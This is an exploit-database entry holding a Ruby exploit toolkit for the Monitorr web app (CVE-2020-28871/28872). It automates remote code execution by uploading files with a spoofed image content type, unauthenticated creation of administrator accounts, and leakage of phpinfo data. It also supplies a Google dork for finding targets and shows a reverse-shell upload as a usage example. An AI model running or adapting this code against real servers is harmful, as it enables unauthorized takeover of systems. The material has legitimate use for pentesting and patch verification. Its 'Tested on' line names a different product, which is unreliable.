Author

Alexandre ZANNI

Risk

[

Security Risk Critical

]

0day-ID

0day-ID-36471

Category

web applications

Date add

23-06-2021

CVE

CVE-2020-28871
CVE-2020-28872

Platform

php

#!/usr/bin/env ruby

# Exploit
## Title: Monitorr exploit toolkit
## Google Dorks:
##   inurl:/assets/config/_installation/_register.php?action=register
## Author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
## Author website: https://pwn.by/noraj/
## Exploit source: https://github.com/sec-it/monitorr-exploit-toolkit
## Date: 2021-06-22
## Vendor Homepage: https://github.com/Monitorr/Monitorr/
## Software Link: https://github.com/Monitorr/Monitorr/archive/refs/tags/1.7.6m.tar.gz
## Version: at least 1.7.6m
## Tested on: OpenNetAdmin 1.7.6.m

require 'pathname'
require 'httpx'
require 'docopt'

doc = <<~DOCOPT
  Monitorr-Exploit

  Usage:
    #{__FILE__} upload <url> <file> [--debug]
    #{__FILE__} create <url> <user> <pass> <email> [--debug]
    #{__FILE__} version <url> [--debug]
    #{__FILE__} phpinfo <url> [--debug]
    #{__FILE__} -h | --help

  upload:       Upload a file (RCE via unrestricted file upload)
  version:      Try to fetch Monitorr version
  phpinfo:      Extract main phpinfo() information (Information leakage)
  create:       Create an administrator account (Authorization bypass)

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <file>      File to be uploaded
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} upload http://example.org revshell.php
    #{__FILE__} create https://example.org:8080/monitorr/ noraj password 'noraj@pentest.local'
    #{__FILE__} version https://example.org:7000/
DOCOPT

def version(root_url)
  vuln_url = "#{root_url}/assets/js/version/version.txt"

  HTTPX.get(vuln_url).body.to_s
end

def phpinfo(root_url)
  vuln_url = "#{root_url}/assets/php/phpinfo.php"

  res = HTTPX.get(vuln_url).body.to_s
  sys = res.match(/>System\s?<\/td><td .+>(.+)<\/td>/).captures[0].chomp
  phpver = res.match(/>PHP Version\s?<\/td><td .+>(.+)<\/td>/).captures[0].chomp
  disablef = res.match(/>disable_functions\s?<\/td><td .+>(.+)<\/td>/).captures[0].chomp
  openb = res.match(/>open_basedir\s?<\/td><td .+>(.+)<\/td>/).captures[0].chomp

  "System: #{sys}\nPHP version: #{phpver}\ndisable_functions: #{disablef}\nopen_basedir: #{openb}\n\n" \
    "Full phpinfo() location: #{vuln_url}"
end

# Password size should be >= 6
def create_user(root_url, username, password, email)
  vuln_url = "#{root_url}/assets/config/_installation/_register.php?action=register"

  params = {
    'user_name' => username,
    'user_email' => email,
    'user_password_new' => password,
    'user_password_repeat' => password,
    'register' => 'Register'
  }

  success = HTTPX.post(vuln_url, form: params).body.to_s.match?(/User credentials have been created successfully/)

  return '[-] User not created' unless success

  "[+] User created\nUsername: #{username}\nEmail: #{email}\nPassword: #{password}"
end

def upload(root_url, filepath)
  vuln_url = "#{root_url}/assets/php/upload.php"
  pn = Pathname.new(filepath)

  params = {
    fileToUpload: {
      content_type: 'image/gif',
      filename: pn.basename.to_s,
      body: pn
    }
  }

  res = HTTPX.plugin(:multipart).post(vuln_url, form: params)

  return '[-] File not upload' unless (200..299).include?(res.status)

  "[+] File uploaded:\n#{root_url}/assets/data/usrimg/#{pn.basename}"
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['version']
    puts version(args['<url>'])
  elsif args['phpinfo']
    puts phpinfo(args['<url>'])
  elsif args['create']
    puts create_user(args['<url>'], args['<user>'], args['<pass>'], args['<email>'])
  elsif args['upload']
    puts upload(args['<url>'], args['<file>'])
  end
rescue Docopt::Exit => e
  puts e.message
end

#  0day.today [2024-11-16]  #